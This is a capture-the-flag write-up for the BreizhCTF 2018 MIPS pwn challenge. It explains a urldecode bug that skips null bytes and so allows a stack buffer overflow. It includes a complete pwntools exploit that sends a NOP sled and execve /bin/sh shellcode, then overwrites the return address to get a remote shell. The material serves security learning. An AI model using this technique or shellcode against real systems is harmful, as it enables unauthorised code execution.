MIPS

BreizhCTF 2018 - Pwn (400 pts).

BreizhCTF 2018: MIPS

Event Challenge Category Points Solves
BreizhCTF 2018 MIPS Pwn 400 3 - 4

Sources: Easy MIPS by ChaignC on GitHub

TL;DR

This writeup is about binary exploitation challenge named MIPS @BreizhCTF2018. As its name suggests, the challenge is a MIPS vulnerable program. It decodes URL which is given by the user. There is a bug in urldecode function which leads us to a buffer overflow vulnerability.

Setup the environment

To prepare quickly a MIPS environment, you can use arm_now (https://github.com/nongiach/arm_now.git)

  • --sync option allows to import files in work directory into your environement
$ arm_now start mips32el --sync
[...]
Welcome to arm_now
buildroot login: root

./install_pkg_manager.sh
opkg install strace

Vulnerability

The program processes client HTTP request, it reads up to 1023 bytes from stdin. The buffer is 1024 bytes long, there is no vulnerability here.

void baby_http() {
  char request[1024];

  while (42) {
    int size = read(0, request, 1023);
    request[size] = 0;
    handle_client(request);
  }
}

If the HTTP request is a GET, the binary will extract the URL into buffer (named url) using urldecode function.

void handle_client(char request[]) {
  char url[32];

  if (!strncmp(request, "GET ", 4)) {
    if (strlen(request + 4) < sizeof(url)) {
      urldecode(url, request + 4);
      printf(not_found, url);
      fflush(stdout);
    }
  }
}

The following piece of code is the urldecode function. It copies a source string into a destination buffer and decodes URL encoded characters like %0A and %0B.

void urldecode(char *dst, const char *src)
{
  char a, b;
  while (*src) {
    if (*src == '%') {
      a = src[1];
      b = src[2];
      if (isxdigit(a) && isxdigit(b)) {
        if (a >= 'a')
          a -= 'a'-'A';
        if (a >= 'A')
          a -= ('A' - 10);
        else
          a -= '0';
        if (b >= 'a')
          b -= 'a'-'A';
        if (b >= 'A')
          b -= ('A' - 10);
        else
          b -= '0';
        *dst++ = 16*a+b;
      }
      src+=3;
    } else if (*src == '+') {
      *dst++ = ' ';
      src++;
    } else {
      *dst++ = *src++;
    }
  }
  *dst++ = '\0';
}

urldecode copies char by char the string into the destination buffer until it meets a null byte (like a strcpy ;)).

  while (*src) {
  [...]
  *dst++=*src++;
  [...]

This is the first vulnerability but it can’t be exploited directly because the length of URL is checked before calling urldecode.

    if (strlen(request + 4) < sizeof(url))

There is a second bug: urldecode increments src pointer even if characters after '%' are not hexadecimal digits.

if (*src == '%') {
      a = src[1];
      b = src[2];
      if (isxdigit(a) && isxdigit(b)) {
        [...]
      }
      src+=3;

Exploitation

So you can put a % to jump over a null byte (which indicates the end of a string) to bypass the URL length verification. The urldecode function will continue to copy characters until it reaches another null byte.

payload

In MIPS architecture when you call a function (as following), the return address is stored in $ra register.

jal     handle_client

As you can see in the assembly code, return address ($ra) and frame pointer ($fp) are saved into stack.

If you are not particularly familiar with MIPS assembly (like me ;)) you can see the details of instructions at http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html.

  • jal (jump and link)
  • sw (store a word)
  • addiu (add unsigned integer)
handle_client:
addiu   $sp, -0x40
sw      $ra, 0x3C($sp)
sw      $fp, 0x38($sp)
move    $fp, $sp

The buffer is 32 bytes length.

[...]
addiu   $v0, $fp, 0x18
move    $a0, $v0
jal     urldecode

Which give us the following stack schema (at instruction jal urldecode):

stack

So we need to put 32 + 4 bytes into URL buffer to control $ra. Let’s check if the binary has an executable stack:

$ checksec vuln
Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

You can execute something in stack, but the URL buffer is very small. The request buffer is 1024 bytes long and isn’t cleared after each request. You can use it to insert a NOP sled following by a shellcode.

The exploit is divided in two step:

  • insert NOP and shellcode into request buffer
  • trigger the vulnerability

Step 1

In MIPS architecture NOP can be represented as the following instruction: nor t6,t6,zero => "\x27\x70\xc0\x01"

You can easily find “preassembled” shellcode for mips: http://shell-storm.org/shellcode/files/shellcode-80.php

Let’s script exploit with pwntools:

from pwn import *
# MIPS Shellcode execve /bin/sh http://shell-storm.org/shellcode/files/shellcode-80.php
shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh\x00"

p = remote("breizhctf.serveur.io",4242)
print(p.recvuntil("@chaign_c"))

# step 1 put NOP + shellcode into request buffer
payload1 = "GET "+"\x27\x70\xc0\x01"*100+shellcode
p.send(payload1+'\n')

The beginning of NOP sled will be overwritten by the second payload but there is enough space to have a reliable exploit.

Step 2

You can approximate the remote address of the request buffer by running strace in your environment (ASLR is off on target machine):

strace -e raw=read ./vuln
[...]
write(1, "BabyHttp brought to you by @chai"..., 37BabyHttp brought to you by @chaign_c
) = 37
read(0, 0x7fffe974, 0x3ff

urldecode will skip 3 bytes because of % character and it will start copy at src+3. So we need to put "GET " following by 35 bytes into the request buffer to trigger the vulnerability in handle_client. It will overwrite a small part of the NOP sled into the request buffer.

payload trigger overflow

Build and send the second payload with python:

addr = 0x7fffe974

# step 2 trigger overflow
payload2 = "GET %\x00"+"A"*(32+5)+p32(addr)
p.send(payload2+'\n')

p.interactive()

Just run it and you will get a shell.

Thank to @chaign_c for his useful tool arm_now and his help!

TomTomBinary